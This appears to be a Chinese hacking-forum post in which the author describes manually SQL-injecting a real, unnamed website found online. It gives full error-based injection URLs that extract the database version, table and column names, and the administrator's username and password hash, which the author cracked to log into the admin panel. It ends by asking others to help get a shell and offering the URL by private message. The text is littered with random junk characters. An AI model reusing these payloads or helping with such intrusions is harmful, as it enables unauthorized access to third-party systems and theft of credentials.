近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
# K" |7 @; R4 I* e- }( C首先找到网站后台,加了个admin,后台出来了
! h3 s. S/ \1 x' q6 A. C5 z. K$ }9 H" n, T6 j: m
0 X+ l! \# f7 i2 e I然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
$ `7 H2 e1 K% y4 Uhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—! k2 D4 I' N8 d8 s: R: N" @
0 O2 M/ W: F4 Q/ q" v& D: `: j
4 O% E8 t V- r8 I6 G
& b$ I" S# {$ y7 l- `2 H8 }4 Z; W$ _) J# y/ n
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg1 T% P) d& P t5 @5 N' f. E
# K0 `0 w# J8 e+ i0 n, L
" ^; K1 f8 H: N9 f5 O
2 k/ J' j. a3 Q
' N* x# j( a( W+ ]. y$ ^
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
/ ~; d1 Z1 Z% N: [2 w. p, u4 b" {* b9 b5 J' I: _! Q1 J
- S9 ~. j1 ]' o, O# q+ q1 M
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg$ S$ J7 }$ w) N
$ D N3 U8 q# B6 @
2 O3 U+ \1 w# v! @. n 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
+ s( b, W' X8 g) `. v0 Z
^" O2 E _" w. b+ j R/ M! h' e# e6 j% X; o# y' g+ Q
4 K8 q; _; o/ _5 [& G" z3 B. h9 X 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
W5 R( B- W) ?" ]- Q1 y2 _. P$ v* e7 `7 Y
3 \$ w& W9 G) [* ^7 \9 d5 }! J
3 \- r# q/ K* R9 B5 V; N 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |